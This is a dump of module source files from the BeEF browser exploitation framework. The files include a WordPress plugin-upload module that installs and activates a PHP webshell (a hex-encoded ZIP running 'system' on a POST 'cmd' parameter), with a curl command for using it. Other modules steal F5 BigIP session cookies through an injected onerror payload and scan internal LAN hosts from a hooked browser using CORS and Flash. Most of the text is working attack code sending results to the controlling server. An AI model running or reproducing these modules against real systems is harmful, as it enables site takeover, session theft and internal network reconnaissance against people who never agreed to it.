language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
Ruby
beef/modules/misc/wordpress/upload_rce_plugin/module.rb
# # Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # # This is a rewrite of the original module misc/wordpress_post_auth_rce. # # Original Author: Bart Leppens # Rewritten by Erwan LR (@erwan_lr | WPScanTeam) # # To be executed, the request needs a BEEF header with the value of the auth_key option, example: # curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php # require 'digest/sha1' require_relative '../wordpress_command' class Wordpress_upload_rce_plugin < WordPressCommand # Generate the plugin ZIP file as string. The method is called in the command.js. # This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated # even when the module is used with automated rules def self.generate_zip_payload(auth_key) stringio = Zip::OutputStream.write_buffer do |zio| zio.put_next_entry('beefbind.php') file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key)) zio.write(file_content) end stringio.rewind payload = stringio.sysread escaped_payload = '' # Escape payload to be able to put it in the JS payload.each_byte do |byte| escaped_payload << ("\\#{'x%02X' % byte}") end escaped_payload end def self.options super() + [ { 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) } ] end end
JavaScript
beef/modules/misc/wordpress_post_auth_rce/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var wordpress_url = '<%= @wordpress_url %>'; var admin_directory = '/wp-admin'; log = function(data){ beef.net.send("<%= @command_url %>", <%= @command_id %>, data); beef.debug(data); }; getwpnonce = function(uri){ var xhr = new XMLHttpRequest(); xhr.open("GET", uri + '/plugin-install.php?tab=upload'); xhr.onload=function() { var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(xhr.responseText); if (res.length == 1) { nonce = /[a-z0-9]{10}/.exec(res[0]); //continue only if we have extracted a nonce => upload the plugin uploadBeefBindPhp(uri, nonce); } else { log('Couldn\'t extract _wpnonce'); } } xhr.send(); } uploadBeefBindPhp = function (uri, nonce){ var xhr = new XMLHttpRequest(); // for WebKit-based browsers if (!XMLHttpRequest.prototype.sendAsBinary) { XMLHttpRequest.prototype.sendAsBinary = function (sData) { var nBytes = sData.length, ui8Data = new Uint8Array(nBytes); for (var nIdx = 0; nIdx < nBytes; nIdx++) { ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff; } /* send as ArrayBufferView...: */ this.send(ui8Data); }; } xhr.open("POST", uri + '/update.php?action=upload-plugin',true); boundary = "BEEFBEEF"; xhr.setRequestHeader("Content-Type","multipart/form-data; boundary=" + boundary ); // zip contains beefbind.php: <?php header("Access-Control-Allow-Origin: *"); echo @system($_POST['cmd']); ?> post_data = "--" + boundary + "\r\n"; post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"; post_data += "\r\n"; post_data += nonce + "\r\n"; post_data += "--" + boundary + "\r\n"; post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n"; post_data += "\r\n" + uri + "/plugin-install.php?tab=upload\r\n"; post_data += "--" + boundary + "\r\n"; post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n"; post_data += "filename=\"beefbind.zip\"\r\n"; post_data += "Content-Type: application/octet-stream\r\n"; post_data += "\r\n"; post_data += "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xf0\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x1c\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x09\x00\x03\xeb\x97\xd6\x53\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x6d\x50\x5d\x6b\x02\x31\x10\x7c\xf7\x57\x2c\x52\xf0\x14\xce\x3b\xa5\xf4\xc1\x96\xea\x79\xd5\x22\x88\x27\xda\x0f\x4a\x29\xe5\xcc\xad\x26\x6d\x2e\x09\x49\xe4\xea\xbf\xef\xc6\x17\xfb\xd0\xc7\xdd\x99\xd9\x9d\x99\xbb\xb1\xe1\xa6\x95\xf4\x7a\x2d\xe8\xc1\x5a\x1e\x0f\x42\xc1\xaa\xac\x71\x04\x3b\xc4\xfd\x4e\xa8\xea\x0f\xf0\xbc\x59\x8c\x80\x7b\x6f\x46\x49\x12\x60\x63\xf5\x17\x32\xdf\x67\xba\x0e\xac\x07\x74\xcc\x0a\xe3\x85\x56\x23\x98\xe2\x6c\x0e\x41\x0f\x8e\xa3\x94\xd0\x08\xcf\x21\x2f\x36\xdb\x7e\xa0\xbe\xa0\x75\x67\xda\xa0\x9f\x86\x39\x3b\x7a\xae\x2d\xa9\x4a\xeb\x61\x89\xc6\xa0\x72\x97\xfd\xe5\xb1\xa3\xcf\x9e\x4e\x79\xb4\xe1\x6b\xb2\xab\x4b\xe5\x6d\x19\xa8\x4b\xc1\x48\x44\xc6\x73\x6d\x4e\x56\x1c\xb8\x87\x88\x75\x61\x98\xa6\x37\xf1\x30\x1d\x5c\xc3\x6b\x59\x21\x64\x92\x69\xab\x20\x86\x86\xa6\x49\xf0\x77\xb6\xd7\x57\xe8\x69\x39\xb5\xba\x71\x68\x61\xf6\x63\xa4\x16\xbe\x0c\x51\x60\x6e\xa9\x8f\x46\xdb\x6f\x88\x42\xa8\x2e\xf1\xfe\xef\x80\x80\x2d\x22\x78\x8e\xb0\x17\x12\xa1\x53\x69\x96\xe4\xc5\xfa\x6d\xb1\x7a\xec\xc0\x9e\x72\x30\xb2\x26\xd4\x01\x0c\xda\x5a\xb8\xd0\x00\x39\x4f\x5a\x1c\xc9\x8c\x8d\xda\x19\x63\xe8\x5c\x9c\x6b\xca\xa4\x65\x9c\x49\xa9\x9b\xb8\xa0\x2c\x82\x9a\xea\xb5\xbb\xb7\x80\x8c\x6b\x98\xb8\x93\xf3\x58\x47\x57\x9f\xeb\x62\xfb\xf4\xde\x61\x75\xd5\xf9\x20\x70\x7c\xdf\xfa\x05\x50\x4b\x01\x02\x1e\x03\x0a\x00\x00\x00\x00\x00\x6c\xa4\xfc\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xed\x41\x00\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x6c\xa4\xfc\x44\xd8\x52\x22\xe0\x43\x01\x00\x00\xcf\x01\x00\x00\x15\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x43\x00\x00\x00\x62\x65\x65\x66\x62\x69\x6e\x64\x2f\x62\x65\x65\x66\x62\x69\x6e\x64\x2e\x70\x68\x70\x55\x54\x05\x00\x03\xeb\x97\xd6\x53\x75\x78\x0b\x00\x01\x04\xf5\x01\x00\x00\x04\x14\x00\x00\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xaa\x00\x00\x00\xd5\x01\x00\x00\x00\x00"; post_data += "\r\n"; post_data += "--" + boundary + "--\r\n" xhr.sendAsBinary(post_data); xhr.onload=function() { //extract the nonce for activating the plugin var res = /plugin=beefbind.*_wpnonce=[a-z0-9]{10}/.exec(xhr.responseText); //activate plugin only if there is a nonce if (res.length == 1) { nonce = /[a-z0-9]{10}/.exec(res[0]); activatePlugin(uri,nonce); } else { log('Cannot activate plugin, no activation nonce available.'); } } } activatePlugin = function(uri,nonce){ var xhr = new XMLHttpRequest(); xhr.open("GET", uri + '/plugins.php?action=activate&plugin=beefbind/beefbind.php&_wpnonce=' + nonce); xhr.onload=function() { log('BeEF bind plugin has been uploaded and activated'); } xhr.send(); } //get the wordpress nonce first, then upload the plugin and finally activate the plugin getwpnonce(wordpress_url + admin_directory); });
YAML
beef/modules/misc/wordpress_post_auth_rce/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: wordpress_post_auth_rce: enable: true category: "Misc" name: "Wordpress Post-Auth RCE" description: "This module attempts to upload and activate a malicious wordpress plugin. Afterwards, the URI to trigger it is: http://vulnerable-wordpress.site/wordpress/wp-content/plugins/beefbind/beefbind.php. The command to execute can be send by a POST-parameter named 'cmd'. CORS headers have been added to allow bidirectional crossdomain communication." authors: ["Bart Leppens"] target: working: ["ALL"]
Ruby
beef/modules/misc/wordpress_post_auth_rce/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Wordpress_post_auth_rce < BeEF::Core::Command def self.options [ { 'name' => 'wordpress_url', 'ui_label' => 'Target Web Server', 'value' => 'http://vulnerable-wordpress.site/wordpress', 'width' => '400px' } ] end def post_execute return if @datastore['result'].nil? save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/network/ADC/f5_bigip_cookie_disclosure/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var poolName = 'unknown'; var routedDomain = 'unknown'; var BIGipCookieName = ''; var BIGipCookieValue = ''; var backend = ''; var result = ''; function f5CookieDecode(cookieValue){ var host; var port; if (cookieValue.match(/(\d{8,10})\.(\d{1,5})\./) !== null) { host = cookieValue.split('.')[0]; host = parseInt(host); host = '' + (host & 0xFF) + '.' + ((host >> 8) & 0xFF) + '.' + ((host >> 16) & 0xFF) + '.' + ((host >> 24) & 0xFF); port = cookieValue.split('.')[1]; port = parseInt(port); port = '' + (((port & 0xFF) << 8) | ((port >> 8) & 0xFF)); } else if (cookieValue.match(/rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/) !== null) { host = cookieValue.split('ffff')[1].split('o')[0]; host = parseInt(host.slice(0,2), 16) + '.' + parseInt(host.slice(2, 4), 16) + '.' + parseInt(host.slice(4, 6), 16) + '.' + parseInt(host.slice(6, 8), 16); port = cookieValue.split('ffff')[1].split('o')[1]; port = parseInt(port).toString(16); port = parseInt(port.slice(2, 4) + port.slice(0, 2), 16); } else if (cookieValue.match(/vi([a-f0-9]{32})\.(\d{1,5})/) !== null) { host = cookieValue.split('.')[0].slice(2, -1); var decoded_host = ''; for (var i = 0; i < host.length; i += 4) { decoded_host += host.slice(i, i + 4) + ':'; } host = decoded_host; port = cookieValue.split('.')[1]; port = parseInt(port); port = '' + ( ((port & 0xFF) << 8) | ((port >> 8) & 0xFF) ); } else if (cookieValue.match(/rd\d+o([a-f0-9]{32})o(\d{1,5})/) !== null) { host = cookieValue.split('o')[1]; var decoded_host = ''; for (var i = 0; i < host.length; i += 4){ decoded_host += host.slice(i,i+4) + ':'; } host = decoded_host; port = cookieValue.split('o')[2]; } return { host: host, port: port } } var m = document.cookie.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5})))(?:$|,|;|\s)/); if (m !== null) { BIGipCookieName = m[0].split('=')[0]; BIGipCookieValue = m[0].split('=')[1]; result = 'BigIP_cookie_name=' + BIGipCookieName; // Retreive pool name via cookie name if (BIGipCookieName.match(/^BIGipServer/) !== null) { poolName = BIGipCookieName.split('BIGipServer')[1]; result += '&pool_name=' + poolName; } // Routed domain is used if (BIGipCookieValue.match(/^rd/) !== null) { routedDomain = BIGipCookieValue.split('rd')[1].split('o')[0]; result += '&routed_domain=' + routedDomain; } backend = f5CookieDecode(BIGipCookieValue); result += '&host=' + backend.host + '&port=' + backend.port; } else result = 'result=BigIP coookie not found' beef.net.send('<%= @command_url %>', <%= @command_id %>, result); });
YAML
beef/modules/network/ADC/f5_bigip_cookie_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: f5_bigip_cookie_disclosure: enable: true category: ["Network","ADC"] name: "F5 BigIP Backend Cookie Disclosure" description: "This module detects F5 BigIP persistent cookies and exposures all available information about backend (pool name, IP address and port, routed domain)." authors: ["dnkolegov, ovbroslavsky, neoleksov"] target: working: ["ALL"]
Ruby
beef/modules/network/ADC/f5_bigip_cookie_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class F5_bigip_cookie_disclosure < BeEF::Core::Command def post_execute return if @datastore['results'].nil? save({ 'BigIPCookie' => @datastore['results'] }) end end
JavaScript
beef/modules/network/ADC/f5_bigip_cookie_stealing/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var t = document.createElement('div'); t.id = 'test'; document.body.appendChild(t); var g = document.createElement('script'); g.text = "document.getElementById(\"test\").innerHTML=\"<img src=1 onerror=result=document.cookie;>\"" t.appendChild(g); setTimeout('beef.net.send(\'<%= @command_url %>\', <%= @command_id %>, result)', 2000) });
YAML
beef/modules/network/ADC/f5_bigip_cookie_stealing/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: f5_bigip_cookie_stealing: enable: true category: ["Network","ADC"] name: "F5 BigIP User's Cookie Stealing" description: "This module retrieves all BigIP user's session cookies, bypassing sandbox restrictions." authors: ["dnkolegov, ovbroslavsky, neoleksov"] target: working: ["ALL"]
Ruby
beef/modules/network/ADC/f5_bigip_cookie_stealing/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class F5_bigip_cookie_stealing < BeEF::Core::Command def post_execute return if @datastore['result'].nil? save({ 'BigIPSessionCookies' => @datastore['BigIPSessionCookies'] }) end end
JavaScript
beef/modules/network/cross_origin_scanner_cors/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads = parseInt("<%= @threads %>", 10); var timeout = parseInt("<%= @timeout %>", 10)*1000; var wait = parseInt("<%= @wait %>", 10)*1000; if(!beef.browser.hasCors()) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); return; } // set target ports if (ports != null) { ports = ports.split(','); } // set target IP addresses if (ipRange == 'common') { // use default IPs ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; } else { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 // the fourth octet will be iterated. // (only C class IP ranges are supported atm) ipBounds = ipRange.split('-'); lowerBound = ipBounds[0].split('.')[3]; upperBound = ipBounds[1].split('.')[3]; for (var i = lowerBound; i <= upperBound; i++){ ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; ips.push(ipToTest); } } WorkerQueue = function(frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); this.process = function() { var item = stack.shift(); eval(item); if (stack.length === 0) { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; beef.debug("[Cross-Origin Scanner (CORS)] Worker queue is complete ["+interval+" ms]"); return; } } this.queue = function(item) { stack.push(item); if (timer === null) { timer = setInterval(this.process, frequency); } } } beef.debug("[Cross-Origin Scanner (CORS)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); // create worker queue var workers = new Array(); for (w=0; w < threads; w++) { workers.push(new WorkerQueue(wait)); } // send CORS request to each IP for (var i=0; i < ips.length; i++) { var worker = workers[i % threads]; for (var p=0; p < ports.length; p++) { if (ports[p] == '443') var proto = 'https'; else var proto = 'http'; var url = proto + '://' + ips[i] + ':' + ports[p]; worker.queue('beef.debug("[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'");' + 'beef.net.cors.request(' + '"GET", "'+url+'", "", '+timeout+', function(response) {' + 'if (response != null && response["status"] != 0) {' + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + 'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + '}' + '});' ); } } });
YAML
beef/modules/network/cross_origin_scanner_cors/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_origin_scanner_cors: enable: true category: "Network" name: "Cross-Origin Scanner (CORS)" description: "Scan an IP range for web servers which allow cross-origin requests using CORS. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles"] # http://caniuse.com/cors target: working: ["ALL"] not_working: # CORS is partially supported on IE 8 & 9 IE: min_ver: 6 max_ver: 7 O: min_ver: 1 max_ver: 11 C: min_ver: 1 max_ver: 3 S: min_ver: 1 max_ver: 3 F: min_ver: 1 max_ver: 3
Ruby
beef/modules/network/cross_origin_scanner_cors/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_origin_scanner_cors < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proto=(https?)&ip=(.+)&port=(\d+)&status/ # log the network service proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) type = 'HTTP Server (CORS)' session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found HTTP server #{ip}:#{port}") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type) end end def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' }, { 'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080' }, { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2' }, { 'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '2' }, { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' } ] end end
JavaScript
beef/modules/network/cross_origin_scanner_flash/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads = parseInt("<%= @threads %>", 10); var timeout = parseInt("<%= @timeout %>", 10)*1000; // check if Flash is installed (not always reliable) if(!beef.browser.hasFlash()) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error()); return; } // set target ports if (ports != null) { ports = ports.split(','); } // set target IP addresses if (ipRange == 'common') { // use default IPs ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; } else { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 // (only C class IP ranges are supported atm) ipBounds = ipRange.split('-'); lowerBound = ipBounds[0].split('.')[3]; upperBound = ipBounds[1].split('.')[3]; for (var i = lowerBound; i <= upperBound; i++){ ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; ips.push(ipToTest); } } // configure workers WorkerQueue = function(id, frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); this.process = function() { var item = stack.shift(); eval(item); if (stack.length === 0) { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; beef.debug("[Cross-Origin Scanner (Flash)] Worker #"+id+" has finished ["+interval+" ms]"); return; } } this.queue = function(item) { stack.push(item); if (timer === null) timer = setInterval(this.process, frequency); } } // load the SWF object from the BeEF server // then request the specified URL via Flash var scanUrl = function(proto, host, port) { beef.debug('[Cross-Origin Scanner (Flash)] Creating Flash object...'); var placeholder_id = Math.random().toString(36).substring(2,10); div = document.createElement('div'); div.setAttribute('id', placeholder_id); div.setAttribute('style', 'visibility: hidden'); $j('body').append(div); try { swfobject.embedSWF( beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/objects/ContentHijacking.swf', placeholder_id, "1", // Width "1", // Height "9", // Flash version required. Hard-coded to 9+ for no real reason. Tested on Flash 12. false, // Don't prompt user to install Flash {}, // FlashVars {'AllowScriptAccess': 'always'}, {id: 'cross_origin_flash_'+placeholder_id, width: 1, height: 1, 'style': 'visibility: hidden', 'type': 'application/x-shockwave-flash', 'AllowScriptAccess': 'always'}, function (e) { if (e.success) { // 200 millisecond delay due to Flash executing the callback with a success event // even though the object is not yet ready to expose its methods to JS setTimeout(function(){ var url = 'http://'+host+':'+port+'/'; beef.debug("[Cross-Origin Scanner (Flash)] Fetching URL: " + url); var objCaller = document.getElementById('cross_origin_flash_'+placeholder_id); try { objCaller.GETURL('function(data) { '+ 'var proto = "http";' + 'var host = "'+host+'";' + 'var port = "'+port+'";' + 'var data = unescape(data);' + 'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' + 'if (data.match("securityErrorHandler")) {' + ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' + '}' + 'if (!data.match("Hijacked Contents:")) return;' + 'var response = data.replace(/^Hijacked Contents:\\r\\n/);' + 'var title = "";' + 'if (response.match("<title>(.*?)<\\/title>")) {' + ' title = response.match("<title>(.*?)<\\/title>")[1];' + '}' + 'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' + ' }', url); } catch(e) { beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message); } }, 200); } else if (e.error) { beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object'); } else beef.debug('[Cross-Origin Scanner (Flash)] Could not load Flash object. Perhaps Flash is not installed?'); }); // Remove the SWF object from the DOM after <timeout> seconds // this also kills the outbound connections from the SWF object setTimeout('try { document.body.removeChild(document.getElementById("cross_origin_flash_'+placeholder_id+'")); } catch(e) {}', timeout); } catch (e) { beef.debug("[Cross-Origin Scanner (Flash)] Something went horribly wrong creating the Flash object with swfobject: " + e.message); } beef.debug("[Cross-Origin Scanner (Flash)] Waiting for the flash object to load..."); } // append SWFObject script $j('body').append('<scr'+'ipt type="text/javascript" src="'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js"></scr'+'ipt>'); // create workers beef.debug("[Cross-Origin Scanner (Flash)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); var workers = new Array(); for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, timeout)); // allocate jobs to workers for (var i = 0; i < ips.length; i++) { var worker = workers[i % threads]; for (var p = 0; p < ports.length; p++) { var host = ips[i]; var port = ports[p]; if (port == '443') var proto = 'https'; else var proto = 'http'; worker.queue("scanUrl('"+proto+"', '"+host+"', '"+port+"');"); } } });
YAML
beef/modules/network/cross_origin_scanner_flash/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: cross_origin_scanner_flash: enable: true category: "Network" name: "Cross-Origin Scanner (Flash)" description: "This module scans an IP range to locate web servers with a permissive Flash cross-origin policy. The HTTP response is returned to BeEF.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.<br/><br/>This module uses ContentHijacking.swf from <a href='https://github.com/nccgroup/CrossSiteContentHijacking'>CrossSiteContentHijacking</a> by Soroush Dalili (@irsdl)." authors: ["bcoles", "@irsdl"] target: working: ["C", "FF"] not_working: ["IE", "S", "O"]
Ruby
beef/modules/network/cross_origin_scanner_flash/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Cross_origin_scanner_flash < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_cached('/modules/network/cross_origin_scanner_flash/ContentHijacking.swf', '/objects/ContentHijacking', 'swf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_cached('/modules/network/cross_origin_scanner_flash/swfobject.js', '/swfobject', 'js') end def post_execute content = {} content['result'] = @datastore['result'] save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true session_id = @datastore['beefhook'] # log discovered hosts case @datastore['results'] when /^ip=(.+)&status=alive$/ ip = Regexp.last_match(1) if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found host #{ip}") BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip) end # log discovered network services when /^proto=(.+)&ip=(.+)&port=(\d+)&title/ proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) type = 'HTTP Server (Flash)' if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found HTTP server #{ip}:#{port}") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type) end end end def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' }, { 'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080' }, { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '2' }, { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '5' } ] end end
JavaScript
beef/modules/network/cross_origin_scanner_flash/swfobject.js
